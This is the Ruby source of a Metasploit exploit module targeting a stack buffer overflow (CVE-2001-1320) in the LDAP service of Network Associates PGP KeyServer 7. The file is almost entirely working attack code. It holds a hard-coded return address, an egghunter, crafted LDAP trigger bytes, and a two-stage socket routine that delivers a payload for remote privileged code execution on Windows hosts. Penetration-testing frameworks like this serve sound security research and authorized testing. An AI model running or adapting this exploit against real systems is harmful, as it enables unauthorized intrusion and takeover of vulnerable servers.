Path: blob/master/modules/exploits/windows/ldap/pgp_keyserver7.rb
19849 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Network Associates PGP KeyServer 7 LDAP Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the LDAP service that is18part of the NAI PGP Enterprise product suite. This module was tested19against PGP KeyServer v7.0. Due to space restrictions, egghunter is20used to find our payload - therefore you may wish to adjust WfsDelay.21},22'Author' => [ 'aushack' ],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2001-1320' ],26[ 'OSVDB', '4742' ],27[ 'BID', '3046' ],28[ 'URL', 'http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/' ],29[ 'ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER ],30[ 'ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION ]31],32'Privileged' => true,33'Payload' => {34'Space' => 450,35'BadChars' => "\x00\x0a\x0d\x20",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' => [40["Universal PGPcertd.exe", { 'Ret' => 0x00436b23 }], # push esp; ret PGPcertd.exe - patrick tested ok 2k/xp41],42'DisclosureDate' => '2001-07-16',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(389)55]56)57end5859def exploit60connect6162# - Maximum payload space is 102 so we use EggHunter instead.63# - The PAYLOAD is put inside an invalid, rejected (but hunt-able) request.6465hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })66egg = hunter[1]6768eggstart = "\x30\x82\x01\xd9\x02\x01\x01\x60\x82\x01\xd2\x02\x01\x03\x04\x82\x01\xc9" # ldapsearch sniff69eggend = "\x80\x00"7071print_status("Sending trigger and hunter first...")7273buf = "\x30\xfe\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x02\x0a\x01\x00\x02\x01\x00" # PROTOS suite sniff74buf << [target['Ret']].pack('V') + hunter[0]75buf << "\x00"7677sock.put(buf)7879disconnect8081connect8283print_status("Sending hunted payload...")84sock.put(eggstart + egg + eggend)8586handler87disconnect88end89end909192